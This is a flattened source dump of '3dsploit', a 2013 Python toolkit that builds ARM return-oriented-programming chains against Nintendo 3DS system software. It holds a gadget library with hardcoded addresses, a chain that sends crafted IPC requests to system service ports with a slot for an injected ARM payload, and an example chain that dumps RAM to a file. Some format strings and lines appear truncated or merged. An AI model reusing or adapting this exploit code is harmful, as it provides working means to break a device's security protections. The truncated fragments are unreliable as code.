├── .gitignore ├── 3dsploit.py ├── README.md ├── formatrop.py ├── p3ds ├── ROP.py ├── __init__.py └── util.py └── ramdump.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | __pycache__ 21 | 22 | # Installer logs 23 | pip-log.txt 24 | 25 | # Unit test / coverage reports 26 | .coverage 27 | .tox 28 | nosetests.xml 29 | 30 | # Translations 31 | *.mo 32 | 33 | # Mr Developer 34 | .mr.developer.cfg 35 | .project 36 | .pydevproject 37 | -------------------------------------------------------------------------------- /3dsploit.py: -------------------------------------------------------------------------------- 1 | # 3dsploit. 2 | # Copyright (C) 2013 naehrwert 3 | # Copyright (C) 2013 oct0xor 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, version 2.0. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License 2.0 for more details. 13 | # 14 | # A copy of the GPL 2.0 should have been included with the program. 15 | # If not, see http://www.gnu.org/licenses/ 16 | 17 | import sys 18 | 19 | from p3ds.util import * 20 | from p3ds.ROP import * 21 | 22 | def request(r, id, req, port): 23 | # Request setup. 24 | r.pop_r4(0x279020) 25 | r.i32(0x1C1958) 26 | r.i32(0x44444444) 27 | r.call_lr(0x10C2AC, [0x279024]) 28 | r.mov_r4_r0() 29 | r.pop_r0(id) 30 | r.pop_r1_r5_r6(req, port, 0x66666666) 31 | # SendSyncRequest 32 | r.call(0x12A640, [], 3) 33 | 34 | def main(argv): 35 | # Fill ARM payload here (pls size aligned to 4 bytes, base @ 0x080C3EE0): 36 | PAYLOAD = "" 37 | 38 | r = ROP(0x002B0000) 39 | 40 | # ConnectToPort(&port, "srv:pm"); 41 | r.call_lr(0x1BEDC4, [Ref("port"), Ref("srv:pm")]) 42 | 43 | # sub_10CBC0() 44 | r.call(0x105C88, [], 3) 45 | 46 | # GetProcessId(&proc, 0xFFFF8001); 47 | r.call_lr(0x129C34, [Ref("proc"), 0xFFFF8001]) 48 | 49 | request(r, 0x04040040, Ref("proc"), Ref("port")) 50 | request(r, 0x04030082, Ref("proc"), Ref("port")) 51 | 52 | # sub_1B2130(&port, "ps:ps", 0x00000005) 53 | r.call(0x1B2134, [Ref("port"), Ref("ps:ps"), 0x00000005], 5) 54 | 55 | request(r, 0x20244, Ref("request"), Ref("port")) 56 | 57 | r.i32(0x19FB09) 58 | 59 | # Data. 60 | r.label("srv:pm") 61 | r.data("srv:pm\x00") 62 | r.label("ps:ps") 63 | r.data("ps:ps\x00") 64 | 65 | # Port. 66 | r.label("port") 67 | r.data("\x00" * 0x04) 68 | 69 | # Proc. 70 | r.label("proc") 71 | r.data( 72 | "\x00\x00\x00\x00\x18\x00\x00\x00\x02\x00\x18\x00") 73 | r.i32(Ref("wat?")) 74 | r.data("\x00" * 0x30) 75 | r.label("wat?") 76 | r.data( 77 | "\x41\x50\x54\x3A\x55\x00\x00\x00\x79\x32\x72\x3A\x75\x00\x00\x00" 78 | "\x67\x73\x70\x3A\x3A\x47\x70\x75\x6E\x64\x6D\x3A\x75\x00\x00\x00" 79 | "\x66\x73\x3A\x55\x53\x45\x52\x00\x68\x69\x64\x3A\x55\x53\x45\x52" 80 | "\x64\x73\x70\x3A\x3A\x44\x53\x50\x63\x66\x67\x3A\x75\x00\x00\x00" 81 | "\x66\x73\x3A\x52\x45\x47\x00\x00\x70\x73\x3A\x70\x73\x00\x00\x00" 82 | "\x6E\x73\x3A\x73\x00\x00\x00\x00\x61\x6D\x3A\x6E\x65\x74\x00\x00") 83 | r.data("\x00" * 0xA0) 84 | 85 | # Request. 86 | r.label("request") 87 | r.data("\x00" * 0x20) 88 | r.data("\x00\x00\x00\x00\x02\x00\x82\x00") 89 | r.i32(Ref("reqpart1")) 90 | r.data("\x0A\x44\x07\x00") # 0x7440 << 4 | 0xA 91 | r.i32(Ref("reqpart2")) 92 | r.data("\x00" * 0x4C) 93 | r.label("reqpart1") 94 | r.data("\x00" * 0x200) 95 | r.data("\x00\xA2\x03\x00") 96 | r.data("\x00" * 0xFC) 97 | r.label("reqpart2") 98 | # length = 0x7440, return addr = 0x080C3EE0 99 | r.data(PAYLOAD + struct.pack("= 0x100000 and v <= 0x252000: # This is gonna work just fine. 34 | if v & 1: 35 | addr = (v - 0x100000) & 0xFFFFFFFE 36 | inst = darm.disasm_thumb(struct.unpack(" 4: 141 | print "Nahhhh, not now, maybe later ({0})".format(args) 142 | return 143 | for i in xrange(len(args)): 144 | self._append(pops[i]) 145 | self._append(args[i]) 146 | self._append(fun) 147 | for i in xrange(cleancnt): 148 | self._append(0xDEADBEEF) 149 | 150 | def call_lr(self, fun, args): 151 | pops = [_pop_r0_pc, _pop_r1_pc, _pop_r2_pc, _pop_r3_pc] 152 | if len(args) > 4: 153 | print "Nahhhh, not now, maybe later ({0})".format(args) 154 | return 155 | self.pop_lr(_pop_pc) 156 | for i in xrange(len(args)): 157 | self._append(pops[i]) 158 | self._append(args[i]) 159 | self._append(fun) 160 | 161 | def mov_r4_r0(self): 162 | # 0x001B4F0C: adds r4, r0, r5; subs r4, r4, r7; movs r0, r4; blx r6 163 | self.pop_rX(r5 = 0, r6 = _pop_pc, r7 = 0) 164 | self._append(0x1B4F0D) 165 | 166 | # def memcpy(self, dst, src, size): 167 | # self.call(_memcpy, [dst, src, size], 7) 168 | 169 | def pivot(self, size): #TODO: test this 170 | self.pop_r3(size) 171 | self._append(_add_sp_r3_ldr_pc_sp_4) 172 | 173 | def gen(self): 174 | res = "" 175 | for s in self.stack: 176 | if isinstance(s, Ref): 177 | res += struct.pack(" 24: 8 | hex = "%s %s" % (hex[:24], hex[24:]) 9 | printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or sep) for x in chars]) 10 | lines.append("%08X: %-*s |%s|\n" % (base + c, length*3, hex, printable)) 11 | print ''.join(lines) 12 | -------------------------------------------------------------------------------- /ramdump.py: -------------------------------------------------------------------------------- 1 | # Example RAM dumper. 2 | # Copyright (C) 2013 naehrwert 3 | # 4 | # This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, version 2.0. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License 2.0 for more details. 12 | # 13 | # A copy of the GPL 2.0 should have been included with the program. 14 | # If not, see http://www.gnu.org/licenses/ 15 | 16 | import sys 17 | 18 | from p3ds.util import * 19 | from p3ds.ROP import * 20 | 21 | def main(argv): 22 | r = ROP(0x002B0000) 23 | 24 | # Set file object u64 offset to 0 25 | r.store_i32(0, 0x279004) 26 | r.store_i32(0, 0x279008) 27 | 28 | # file_open(0x279000, "YS:/DUMP.BIN", 6) 29 | r.call(0x1B82AC, [0x279000, Ref("fname"), 6], 5) 30 | # file_write(0x279000, 0x279020, 0x100000, 0x300000) 31 | r.call(0x1B3B54, [0x279000, 0x279020, 0x100000, 0x300000], 9) 32 | 33 | # Data. 34 | r.label("fname") 35 | r.data("YS:/DUMP.BIN".encode('utf-16le') + "\x00\x00") 36 | 37 | rop = r.gen() 38 | 39 | #hexdump(rop, base=0x2B0000) 40 | 41 | with open(argv[0], "wb") as f: 42 | f.write(rop) 43 | 44 | if __name__ == "__main__": 45 | main(sys.argv[1:]) 46 | --------------------------------------------------------------------------------